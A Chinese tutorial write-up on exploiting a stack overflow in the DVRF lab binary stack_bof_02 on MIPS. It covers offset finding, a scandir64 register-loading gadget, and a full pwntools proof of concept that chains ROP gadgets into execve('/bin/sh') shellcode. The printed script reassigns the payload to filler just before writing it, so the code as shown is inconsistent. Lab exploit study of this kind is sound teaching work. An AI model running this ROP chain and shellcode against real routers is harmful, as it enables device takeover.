一步一步pwn路由器之rop技术实战

前言

本文由本人首发于先知安全技术社区： https://xianzhi.aliyun.com/forum/user/5274

这次程序也是 DVRF 里面的，他的路径是 pwnable/ShellCode_Required/stack_bof_02 , 同样是一个简单的栈溢出，不过这个程序里面没有提供 getshell 的函数，需要我们执行shellcode来实现。这个正好实战下前文: 一步一步pwn路由器之路由器环境修复&&rop技术分析,中分析的在mips下的通用的rop技术。

正文

首先使用 qemu 运行目标程序，并等待 gdb 来调试。

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/ShellCode_Required/stack_bof_02  "`cat ./pwnable/Intro/input`"

使用pwntools的 cyclic 功能，找到偏移

一步一步pwn路由器之rop技术实战-LMLPHP

验证一下：

payload = "A" * 508 + 'B' * 4

with open("input", "wb") as f:

    f.write(payload)

一步一步pwn路由器之rop技术实战-LMLPHP

OK, 现在我们已经可以控制程序的 $pc寄存器了，下一步就是利用的方法了。使用前文的那个 rop 链，我们需要可以控制 $s1寄存器。但是这里我们并没有办法控制。不过在这里提到，在 uclibc 的 scandir 或者 scandir64 的函数末尾有一个 gadgets 可以操控几乎所有寄存器。

.text:0000AFE0                 lw      $ra, 0x40+var_4($sp)

.text:0000AFE4                 lw      $fp, 0x40+var_8($sp)

.text:0000AFE8                 lw      $s7, 0x40+var_C($sp)

.text:0000AFEC                 lw      $s6, 0x40+var_10($sp)

.text:0000AFF0                 lw      $s5, 0x40+var_14($sp)

.text:0000AFF4                 lw      $s4, 0x40+var_18($sp)

.text:0000AFF8                 lw      $s3, 0x40+var_1C($sp)

.text:0000AFFC                 lw      $s2, 0x40+var_20($sp)

.text:0000B000                 lw      $s1, 0x40+var_24($sp)

.text:0000B004                 lw      $s0, 0x40+var_28($sp)

.text:0000B008                 jr      $ra

.text:0000B00C                 addiu   $sp, 0x40

.text:0000B00C  # End of function scandir64

于是利用的思路就很明确了。首先使用这段 rop gadgets 设置好寄存器，然后进入前文所说的 rop 链中执行。

最后的poc如下：

#!/usr/bin/python

from pwn import *

context.endian = "little"

context.arch = "mips"

payload = ""

# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)

for i in range(30):

    payload += "\x26\x40\x08\x01"

# execve shellcode translated from MIPS to MIPSEL

# http://shell-storm.org/shellcode/files/shellcode-792.php

payload += "\xff\xff\x06\x28"  # slti $a2, $zero, -1

payload += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962

payload += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f

payload += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)

payload += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873

payload += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e

payload += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)

payload += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)

payload += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc

payload += "\xff\xff\x05\x28"  # slti $a1, $zero, -1

payload += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab

payload += "\x0c\x01\x01\x01"  # syscall 0x40404

shellcode = payload

padding = "O" * 508

payload = padding

payload += p32(0x766effe0)

payload += 'B' * 0x18

payload += 'A' * 4  # $s0

payload += p32(0x7670303c)  # $s1

payload += 'A' * 4  # $s2

payload += 'A' * 4  # $s3

payload += 'A' * 4  # $s4

payload += 'A' * 4  # $s5

payload += 'A' * 4  # $s6

payload += 'A' * 4  # $s7

payload += 'A' * 4  # $fp

payload += p32(0x76714b10)  # $ra for jmp

# stack for gadget 2

payload += 'B' * 0x18

payload += 'A' * 4  # $s0

payload += p32(0x0002F2B0 + 0x766e5000)  # $s1

payload += 'A' * 4  # $s2

payload += p32(0x766fbdd0)  # $ra

# stack for gadget 2 for second

payload += 'B' * 0x18

payload += p32(0x767064a0)  # $s0  for jmp stack

payload += p32(0x0002F2B0 + 0x766e5000)  # $s1

payload += 'A' * 4  # $s2

payload += p32(0x766fbdd0)  # $ra for get stack addr

# stack for shellcode

payload += shellcode

payload = "A" * 508 + 'B' * 4

with open("input", "wb") as f:

    f.write(payload)

# base 0x766e5000

可以执行完毕 shellcode , 不过执行完后就异常了。神奇。

总结

在调试rop时可以先在调试器中修改寄存器，内存数据来模拟实现，然后在写到脚本里面。

参考链接：

https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/

ROP

一步一步pwn路由器之rop技术实战

前言

正文

总结